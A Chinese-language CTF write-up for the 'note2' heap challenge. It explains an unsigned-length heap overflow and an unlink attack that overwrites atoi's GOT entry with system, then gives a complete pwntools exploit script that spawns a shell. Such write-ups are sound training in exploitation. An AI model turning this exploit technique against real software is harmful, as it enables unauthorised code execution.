unlink利用

1646639706336.png

这题自己写了一个read方法,代码如下

1646639755726.png

结束条件是传进来的第三个参数,这题一般传的都是0xa,也就是换行。

但是循环变量i是unsigned,所以当len-1为-1,即len为0时,差不多可以读0xffffffffffffffff个字符,能造成堆溢出。而len为0时,ptmalloc2还是会开出一个0x21的chunk(header+fd+bk)。

1646640156547.png

申请的时候会调用之前那个自己写的read函数来初始化content,然后会记录一个size到一个数组上,这个size在修改的时候会用来限制修改的长度。sub_400B10()会过滤掉’%’。

1646639971428.png

edit函数比较有意思,提供了覆写和添加两种修改方式,用的是strncat()和strcpy()来实现,这就需要注意了,在改写的时候如果有’\x00’应该是会打断修改的,所以如果要把某个地址写进去,只能写一个。

1646640092980.png

删除还是常规的清空了指针数组对应的位置,以及size数组对应的位置。

1646640347450.png

show的功能是用%s实现的。

1646640939784.png

一开始我是想用house of spirit去申请到指针数组前面一点的chunk的(fakechunk的size可以在一开始输入name的时候布置好),但是这题只能申请到4个chunk,完成house of spirit就不够了,所以开始考虑unlink。

unlink的话,其实就还是利用堆溢出,先申请3个chunk,第一个用来构造fakechunk,第二个用来溢出,第三个用来触发unlink。

1646641613394.png

布置好之后,把chunk 2给free掉,重新申请,利用堆溢出去改掉chunk3的prev_size(指向fakechunk)和size(取消prev_inuse标记)

1646641755122.png

布置成这样之后,free掉chunk3就可以触发fakechunk的unlink了。

1646641851664.png

成功把arr[0]改成了&arr[0]-0x18,然后就可以直接把arr[0]改成free@got,利用程序自带的show()去leak libc,然后再利用edit()去改掉atoi@plt,改成system的地址,下一次菜单选项直接输入’/bin/sh\x00’即可getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context.log_level = 'debug'
p = process('./note2')
# p = remote('node4.buuoj.cn', 28046)
elf = ELF('./note2')
libc = ELF('./libc-2.23.so')

def choice(idx):
p.recvuntil('>>\n')
p.sendline(str(idx))

def allocate(sz, content):
choice(1)
p.recvuntil('128)\n')
p.sendline(str(sz))
p.recvuntil('tent:\n')
p.sendline(content)

def show(idx):
choice(2)
p.recvuntil('note:\n')
p.sendline(str(idx))

def edit(idx, op, content):
choice(3)
p.recvuntil('note:\n')
p.sendline(str(idx))
p.recvuntil('end]\n')
p.sendline(str(op))
p.recvuntil('tents:')
p.sendline(content)

def delete(idx):
choice(4)
p.recvuntil('note:\n')
p.sendline(str(idx))

pay = b'a'*0x38 + p64(0x21)
p.recvuntil('name:\n')
p.sendline(pay)
p.recvuntil('ress:\n')
p.sendline(b'\n')
arr = 0x602120

pay = p64(0) + p64(0x21)
pay += p64(arr-0x18) + p64(arr-0x10)
pay += p64(0x20)
allocate(0x30, pay)
allocate(0, b'\n')
allocate(0x80, b'\n')

delete(1)
pay = b'a'*0x10 + p64(0x50) + p64(0x90)
allocate(0, pay)

delete(2) # unlink
# gdb.attach(p)

atoi_got = elf.got['atoi']
sys_offset = libc.symbols['system']
pay = b'a'*0x18 + p64(atoi_got)
edit(0, 1, pay)
show(0)
p.recvuntil(' is ')
atoi_addr = u64(p.recv(6) + b'\x00\x00')
print(hex(atoi_addr))
offset = 0x36e90
libc_base = atoi_addr - offset
sys_plt = libc_base + sys_offset
edit(0, 1, p64(sys_plt))
p.recvuntil('>>\n')
p.sendline(b'/bin/sh\x00')
# gdb.attach(p)
p.interactive()